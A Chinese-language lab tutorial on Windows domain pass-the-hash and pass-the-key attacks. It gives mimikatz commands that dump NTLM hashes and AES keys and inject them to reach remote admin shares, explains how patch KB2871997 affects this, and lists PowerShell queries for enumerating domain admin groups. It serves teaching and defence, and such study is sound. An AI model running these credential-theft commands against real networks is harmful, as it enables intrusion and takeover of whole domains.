域滲透——Pass The Hash & Pass The Key

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/12/28 10:15

0x00 前言


這裡寫圖片描述

對於Pass The Hash大家應該都很熟悉,在2014年5月發生了一件有趣的事。

微軟在2014年5月13日釋出了針對Pass The Hash的更新補丁kb2871997,標題為“Update to fix the Pass-The-Hash Vulnerability”

而在一週後卻把標題改成了“Update to improve credentials protection and management”

下面就結合這中間發生的事情更進一步的研究域滲透。

0x01 簡介


在域滲透中,Hash和Key尤為重要,對其獲取和利用一直是攻防雙方最主要的關注點,所以本次就從hash 和key開始。

0x02 測試環境


域控:

#!bash
os:server 2008 r2 x64
ip:192.168.40.132

域內主機:

#!bash
os:win7 x64
ip:192.168.40.225

0x03 Pass The Hash


在上篇LAPS中提到,如果內網主機的本地管理員賬戶密碼相同,那麼可以透過pass the hash遠端登入到任意一臺主機,操作簡單、威力無窮。

在域環境中,利用pass the hash的滲透方式往往是這樣的:

  1. 獲得一臺域主機的許可權
  2. Dump記憶體獲得使用者hash
  3. 透過pass the hash嘗試登入其他主機
  4. 繼續蒐集hash並嘗試遠端登入
  5. 直到獲得域管理員賬戶hash,登入域控,最終成功控制整個域

下面簡要介紹一下Pass The Hash技術發展的幾段歷史

1、2012年12月

微軟釋出了針對Pass The Hash攻擊的防禦指導,連結如下:
http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf

如圖 這裡寫圖片描述 這裡寫圖片描述

文章提到了一些防禦方法,並在文章中說明了為什麼不針對Pass The Hash提供更新補丁。

所以那時候Pass The Hash成為了主流的域滲透方法。

2、2014年5月13日

微軟終於釋出了更新補丁kb2871997,禁止本地管理員賬戶用於遠端連線,這樣就無法以本地管理員使用者的許可權執行wmi、PSEXEC、schtasks、at和訪問檔案共享。

然而,Craig在測試中發現,在打了補丁之後,常規的Pass The Hash已經無法成功,唯獨預設的 Administrator (SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠端連線。

並且值得注意的是即使administrator改名,它的SID仍然是500,這種攻擊方法依然有效。所以對於防禦來說,即使打了補丁也要記得禁用SID=500的管理員賬戶。

相關連結如下:
http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html

3、如今

大家對Pass The Hash的認識越來越高,防禦方法越來越多,比如上一篇提到的LAPS解決了域內主機本地管理員密碼相同的問題。

同樣,禁用NTLM使得psexec無法利用獲得的ntlm hash進行遠端連線。

4、mimikatz出現

它的出現再次改變了格局。mimikatz實現了在禁用NTLM的環境下仍然可以遠端連線。

下面就實際測試一下其中的細節

0x04 Pass The Key


測試1:使用NTLM hash遠端連線

已知資訊:

#!bash
* Username : a
* Domain   : TEST
* NTLM     : efa85b42d77dc2fdbdbdb767792b0a11

遠端主機ip:192.168.40.132

如圖 這裡寫圖片描述

在測試主機上:

以管理員許可權執行

#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"

彈出cmd

#!bash
dir \\192.168.40.132\c$

成功

如圖 這裡寫圖片描述 這裡寫圖片描述

注:
雖然"sekurlsa::pth"在mimikatz中被稱之為"Pass The Hash",但是其已經超越了以前的"Pass The Hash",部分人將其命名為"Overpass-the-hash",也就是"Pass-the-key"

測試2:使用aes key遠端連線

已知資訊:

#!bash
* Username : a
* Domain   : TEST.LOCAL
* Key List :
    aes256_hmac       f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
    aes128_hmac       8cce86e4b0630f07fcf5f2110068c421
    rc4_hmac_nt       efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old      efa85b42d77dc2fdbdbdb767792b0a11
    rc4_md4           efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_nt_exp   efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old_exp  efa85b42d77dc2fdbdbdb767792b0a11

注:
獲取aes key 的mimikatz命令為:
mimikatz "privilege::debug" "sekurlsa::ekeys"

如圖 這裡寫圖片描述

Tips:
通常情況下無法對mimikatz輸出回顯的內容進行復制,一種好的方法是使用日誌記錄功能將回顯內容輸出到檔案中,開啟日誌記錄功能後會把輸出回顯的內容儲存在同級目錄下的mimikatz.log中,命令參考如下:
mimikatz log privilege::debug sekurlsa::ekeys
如果透過右鍵-編輯-標記的方式複製資料,當前視窗會崩潰,如圖:
這裡寫圖片描述

在測試主機上:

以管理員許可權執行

#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" 

發現無法匯入aes256

如圖 這裡寫圖片描述

無法遠端連線,如圖 這裡寫圖片描述

檢視mimikatz的相關資料發現如下資訊:

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

根據提示,嘗試在系統安裝補丁kb2871997後繼續測試

測試3:使用aes key遠端連線(kb2871997 Installed)

已知資訊:

#!bash
* Username : a
* Domain   : TEST.LOCAL
* Key List :
    aes256_hmac       f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
    aes128_hmac       8cce86e4b0630f07fcf5f2110068c421
    rc4_hmac_nt       efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old      efa85b42d77dc2fdbdbdb767792b0a11
    rc4_md4           efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_nt_exp   efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old_exp  efa85b42d77dc2fdbdbdb767792b0a11

測試主機:
安裝kb2871997補丁

如圖 這裡寫圖片描述

在測試主機上:

以管理員許可權執行

#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" 

可以成功匯入aes256

如圖 這裡寫圖片描述

遠端連線

#!bash
dir \\WIN-8VVLRPIAJB0\c$

成功

如圖 這裡寫圖片描述

注:
dir要使用主機名 而不是ip,不然會提示使用者名稱或密碼錯誤

換用aes128測試:

#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:8cce86e4b0630f07fcf5f2110068c421" 

如圖 這裡寫圖片描述 這裡寫圖片描述

成功

注:
如果不更換密碼,aes key可以一直被用來遠端連線。

0x05 補充


如果域控許可權分配不嚴格,我們在域普通使用者主機下透過wmi查詢可以查到當前域內的使用者組

1、檢視Administrators組

powershell執行

#!bash
$members = @($([ADSI]”WinNT://TEST/Administrators”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) } 

如圖 這裡寫圖片描述

2、檢視Domain Users組

#!bash
$members = @($([ADSI]”WinNT://TEST/Domain Users”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }

如圖 這裡寫圖片描述

0x06 小結


做任何事情都一樣,細節往往決定成敗,只有在深入瞭解後我才發現aes key和kb2871997之間的關係,才解鎖了遠端連線的新方法。

0x07 參考連結:


本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章